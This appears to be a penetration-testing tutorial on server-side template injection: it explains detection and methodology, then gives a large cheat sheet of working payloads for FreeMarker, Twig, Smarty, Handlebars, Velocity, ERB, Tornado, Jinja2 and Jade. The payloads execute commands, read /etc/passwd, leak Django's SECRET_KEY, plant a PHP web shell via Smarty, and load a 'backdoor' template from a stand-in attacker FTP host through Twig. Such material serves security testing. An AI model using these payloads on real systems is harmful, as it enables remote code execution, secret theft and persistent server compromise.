Server Side Template Injection (SSTI)

How to explore Server Side Template Injection (SSTI) vulnerabilities.

Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

How SSTI works

Template engines are designed to combine templates with a data model to produce result documents which help to populate dynamic data into web pages.

Template engines are:

  • PHP–Smarty,Twigs

  • JAVA–Velocity,Freemaker

  • Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage

  • Ruby-Liquid

How to explore SSTI?

SSTI can be injected everywhere, e.g., fuzzing an HTTP parameter.

POST /endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value

To detect this vulnerability, we can use the following chars:

${{<%[%'"}}%\.

Potential exploitation scenario:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.

Potential crash:

If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:

=${7*3}
={{7*3}}
=<%= 7*3 %>

Check out everytime the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}

The output of the payload above is the following:

Read the secret key using the ‘settings’ object that’s available:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}

Methodology of finding SSTI flaws

To identify the vulnerability, the following to-do list can be followed:

  • Detect where the template injection exist

  • Identify the template engine and validate the vulnerability

  • Follow the manuals for the specific template engine

  • Exploit the vulnerability

The following cheat sheet can be used to identify the template engine in use:

Automated Tools

Tplmap assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.

The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.

For more information, please check the GitHub repository for the tool here.

Cheatsheet

Polyglot:
${{<%[%'"}}%\
FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
Flask/Jinja2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Razor (.Net):
@(1+2)
@{// C# code}

For more payloads, please refer to here.

References